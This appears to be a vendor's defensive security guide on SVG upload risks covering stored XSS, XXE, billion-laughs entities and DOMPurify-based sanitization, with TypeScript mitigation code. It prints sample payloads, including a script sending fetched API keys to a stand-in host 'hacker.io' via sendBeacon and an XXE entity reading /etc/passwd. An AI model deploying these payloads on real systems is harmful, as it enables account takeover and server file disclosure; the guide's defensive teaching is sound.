AppSec & Frontend SecurityFact-Checked & Verified

SVG Security Vulnerabilities: Stored XSS, XML Injection & Sanitization Guide

BT
BrivTools Application Security Team
9 min read
SVG security vulnerabilities: Stored XSS prevention, XML payload sanitization, foreignObject exploits, and SVGO minification distinctions
Executive Summary: SVGs Are Code, Not Passive Pixels

Unlike raster formats (JPEG, PNG, WebP) which store compressed numeric pixel matrices, Scalable Vector Graphics (SVG) is a dialect of Extensible Markup Language (XML) defined by the W3C. An SVG document possesses a full Document Object Model (DOM), supports CSS styling, and can embed interactive scripting environments.

The Critical Developer Blind Spot:Developers treat user-uploaded avatar SVGs like normal images, failing to realize they just allowed users to upload arbitrary executable HTML and JavaScript to their origin.
The Exploitation Consequence:Full session cookie theft, administrative account takeover, unauthorized API mutations, and persistent malware injection via Stored Cross-Site Scripting (XSS).

1. The Anatomy of Stored SVG XSS: Beyond Simple <script> Tags

Many naive web applications attempt to secure SVG uploads with simplistic string regex checks: svgContent.includes('<script'). In modern AppSec, regex-based tag blocking is virtually useless against the rich variety of SVG execution contexts:

// Vector A: Standard Embedded Script Element
<svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> fetch('/api/user/keys').then(r=>r.json()).then(d=>navigator.sendBeacon('https://hacker.io', JSON.stringify(d))); </script> </svg>
// Vector B: Inline Event Handlers on Graphic Primitives
<svg xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="40" onload="alert(document.domain)" /> <rect width="100" height="100" onmouseover="maliciousCode()" /> </svg>
// Vector C: Anchor Href JavaScript Pseudo-Protocols
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href="javascript:alert(window.origin)"> <text x="10" y="25">Click Here For Promotional Discount</text> </a> </svg>

2. The Dangerous Myth: SVGO Is an Optimizer, NOT a Security Sanitizer

One of the most dangerous fallacies in modern web engineering is using svgo (SVG Optimizer) as an input validation or sanitization filter.

The Critical Distinction

SVGO’s Objective: Eliminate redundant precision digits, combine paths, strip editor metadata (like Adobe Illustrator tags), and reduce file size.

Security Sanitizer Objective: Parse the full XML syntax tree, remove dangerous DOM nodes, strip JavaScript attributes, validate safe URI schemes, and eliminate mutation XSS (mXSS) anomalies.

If an SVG contains obfuscated JavaScript payloads or polyglot payloads inside permissible nodes, SVGO will happily optimize the surrounding coordinates while preserving the malicious executable script. Never rely on minification for security boundaries.

3. Hidden Attack Vectors: <foreignObject>, <animate>, and XML Entities

The SVG specification integrates deeply with XHTML and SMIL (Synchronized Multimedia Integration Language), opening up esoteric attack surfaces:

1. The <foreignObject> Escape Hatch

The <foreignObject> tag allows raw HTML documents to be rendered directly inside an SVG container. Attackers embed form phishing overlays, iframes, or direct <iframe src="javascript:..."> tags inside what appears to be an innocent vector icon.

2. SMIL Attribute Mutation Attacks (<animate>)

SMIL animation tags can dynamically mutate element attributes over time. An attacker sets an initially harmless attribute that transitions into href="javascript:..." at runtime, bypassing static string scanners.

3. XML External Entity (XXE) and Billion Laughs DOS

Recursive entity declarations (<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">) can exhaust server RAM within milliseconds when parsed by unhardened server-side image processors (such as older librsvg or libxml2 instances).

4. Defense-in-Depth: CSP, Sandboxing & Isolated Delivery

To guarantee zero vulnerability footprint across customer environments, implement multi-layered defense-in-depth:

LayerImplementation StandardSecurity Benefit
Domain Isolationstatic-assets-cdn.comEven if JavaScript executes, it cannot access session cookies or localStorage of app.com.
HTTP HeadersContent-Security-Policy: default-src 'none';Forces browser to refuse execution of any inline scripts or external fetches.
HTML Rendering<img src="icon.svg" />Browser treats graphic as passive pixel frame; scripts disabled automatically.

5. Production Sanitization Architecture: DOMPurify & Defanging

If your application must display inline SVG markup (to allow dynamic CSS hover states or theming), you must run user-provided vector markup through an audited AST-based sanitizer like DOMPurify with explicit SVG configurations:

import DOMPurify from 'isomorphic-dompurify';

export function sanitizeUserSvg(rawSvgString: string): string {
  // 1. Enforce strict SVG-only profile
  const clean = DOMPurify.sanitize(rawSvgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    ADD_TAGS: ['svg', 'path', 'circle', 'rect', 'line', 'polyline', 'polygon', 'g'],
    FORBID_TAGS: [
      'script',
      'foreignObject',
      'iframe',
      'object',
      'embed',
      'animate',
      'set',
      'use', // Mitigates external resource inclusion attacks
    ],
    FORBID_ATTR: [
      'onload',
      'onerror',
      'onclick',
      'onmouseover',
      'href',
      'xlink:href',
    ],
  });

  return clean;
}

6. Secure File Upload & Sanitization Pipeline in TypeScript

In production backend pipelines (Node.js / Next.js API route), sanitize before storing to object storage (e.g., AWS S3):

// app/api/upload/svg/route.ts
import { NextResponse } from 'next/server';
import { sanitizeUserSvg } from '@/lib/security/svgSanitizer';

export async function POST(req: Request) {
  const formData = await req.formData();
  const file = formData.get('file') as File;

  if (!file || file.type !== 'image/svg+xml') {
    return NextResponse.json({ error: 'Invalid SVG format' }, { status: 400 });
  }

  // Read raw XML byte text
  const rawSvg = await file.text();

  // Run through AST sanitizer
  const sanitized = sanitizeUserSvg(rawSvg);

  if (!sanitized || sanitized.trim().length === 0) {
    return NextResponse.json({ error: 'Malicious payload detected' }, { status: 422 });
  }

  // Upload sanitized text to S3 with safe headers
  // Content-Type: image/svg+xml
  // Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline';
  return NextResponse.json({ success: true });
}

7. Frequently Asked Technical Questions

Can an SVG file execute JavaScript when embedded via an <img> tag?+
Direct Answer Summary:No. When an SVG is rendered via a standard HTML <img> tag (e.g., <img src='avatar.svg' />), browsers enforce a strict security boundary that completely disables JavaScript execution, external network requests, and CSS resource loading.

However, the vulnerability arises when the user clicks 'Open image in new tab' (navigating to the raw SVG URL), or when the application serves the SVG with 'Content-Type: image/svg+xml' without CSP headers, or renders it inline via dangerouslySetInnerHTML or React SVG loaders. In those contexts, JavaScript executes with full origin privileges.

Why can't I just use SVGO to sanitize user-uploaded SVGs?+
Direct Answer Summary:SVGO is an optimization tool designed to reduce file size by stripping metadata and minifying path coordinates. It is NOT a security sanitizer and does not guarantee removal of obfuscated XSS payloads.

SVGO can easily be configured to leave scripts or interactive elements intact. Furthermore, novel mutation XSS vectors and nested namespace bypasses can easily survive minification passes. True security sanitization requires an AST-aware sanitizer like DOMPurify configured with strict SVG profiles.

What Content-Type headers should be used when serving untrusted SVGs from cloud storage?+
Direct Answer Summary:Serve untrusted user SVGs with 'Content-Disposition: attachment; filename="file.svg"' or 'Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'' to prevent in-browser execution.

Additionally, serve untrusted files from an isolated, cookie-free sandbox domain (such as user-uploads.example.com instead of app.example.com) so that any theoretical script execution occurs in an origin isolated from user session cookies and local storage tokens.

How do XML External Entity (XXE) attacks work in SVG parsers?+
Direct Answer Summary:Because SVG is an XML document, an attacker can define malicious DOCTYPE entity references that instruct vulnerable backend XML parsers to read internal server files or perform Server-Side Request Forgery (SSRF).

For example, <!ENTITY xxe SYSTEM "file:///etc/passwd"> references local files. When server-side libraries (such as older ImageMagick or libxml2 builds) parse the SVG, the file contents get leaked. Parsers must explicitly disable external DTD and entity resolution (resolveExternals = false).

Interactive Client-Side Tool

Optimize & Clean SVG Vectors Client-Side

Strip editor bloat, minify path coordinates, and inspect vector markup securely in browser memory without sending private files to any server.

Profit Margin Toggles
S-Curve Ramp Delays
100% Client-Side Privacy
Open Free SVG OptimizerNo signup required • Instant calculations